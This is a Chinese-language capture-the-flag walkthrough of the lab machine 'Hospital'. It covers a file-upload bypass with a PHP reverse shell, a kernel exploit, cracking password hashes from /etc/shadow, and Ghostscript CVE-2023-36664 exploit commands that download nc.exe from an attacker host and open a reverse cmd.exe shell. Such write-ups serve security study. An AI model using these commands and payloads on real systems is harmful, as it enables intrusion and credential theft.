Ubuntu内核版本漏洞提权、Artifex Software Ghostscript 安全漏洞
Hospital
信息搜集
nmap扫描一下端口

发现8080端口和443端口有http服务
然后发现3389端口是启用了ms-wbt-server服务

在对443端口的扫描没有收获,并且只有邮箱登录界面无法注册

接着看向8080端口,我们随便注册用户登录后发现有文件上传功能

getshell
经过测试pht和phar后缀都可以绕过检测,然后dirsearch扫描出文件上传路径为/uploads/
尝试上传一句话木马,发现虽然能成功但是并不能执行命令

于是借助大神写的shell工具来反弹shell 脚本链接
直接下载shell.php然后上传,用bp将php后缀改为phar(后面测试了一下发现pht后缀会有问题,只能显示源码不解析)
然后访问文件保存路径/uploads/shell.phar

由于不稳定我们反弹到本地机器上

经过一番搜索,在/var/ww/html/config.php找到数据库用户和密码

然后连接数据库
1 | mysql -u root -p -h localhost |
找到用户信息

对admin的解码一下得到密码(早知道弱口令爆破了hhh)

不过好像没什么用
于是参考国外师傅wp原来是利用Ubuntu内核版本漏洞去提权 exp链接
我们把exp下载到本地然后开启http服务,在靶机用wget命令复制过去

然后chmod给个执行权限,成功提权

这里的root并不是真正的root用户,所以我们还得寻找可用信息
我们查看当前用户的哈希值,发现有drwilliams的
1 | cat /etc/shadow |

然后用john爆破得到密码

得到密码后访问443端口登录后,注意到一封邮件

谷歌翻译一下,应该是要给Brown发送.eps文件

网上搜索出相关漏洞–Artifex Software Ghostscript 安全漏洞(CVE-2023-36664) 参考文章
漏洞原理大概就是GPL PostScript/PDF 解释器 Ghostscript 无法正确处理管道设备的权限验证,如果处理格式错误的文档文件,可能会导致执行任意命令
我们可以这样利用,先用该exp去创建第一个.eps文件构造curl命令我们本地的nc程序,然后Brown使用解释器打开后触发该命令下载nc程序;然后再次发送一个.eps文件去利用nc执行主动弹shell的命令
注意被攻击机为Brown的windows系统

执行过程如下
1 | python3 CVE_2023_36664_exploit.py --inject --payload "curl 10.10.14.54:8000/nc64.exe -o nc.exe" --filename file.eps |
下载nc64.exe并保存为nc.exe
成功下载nc程序
然后就再发一个邮件去主动nc连接
1 | python3 CVE_2023_36664_exploit.py --inject --payload "nc.exe 10.10.14.54 1028 -e cmd.exe" --filename file.eps |
发送后被Brown打开,成功nc连接

然后dir找到文件,查看一下得到密码

由于我们前面namp扫描出3389端口是ms-wbt-server服务,我们就可以尝试连接一下
开始我是使用xfreerdp工具连接
1 | xfreerdp /u:drbrown /v:10.10.11.241 |
然后惊讶的发现直接连接到被攻击机

访问桌面得到user的flag(不过确实不太方便root提权)
提权
所以就换成rpcclient连接
1 | rpcclient -U drbrown 10.10.11.241 |
然后执行querydispinfo命令,查看关于当前连接到计算机的显示器的详细信息
注意到管理员信息是与访客共享的

那么我们可以在刚刚连接的windows靶机上,curl我们本地的shell文件来实现RCE
(shell.php前文已经给了参考链接)

由于知道是共享的,所以我们直接访问/shell.php得到root的flag
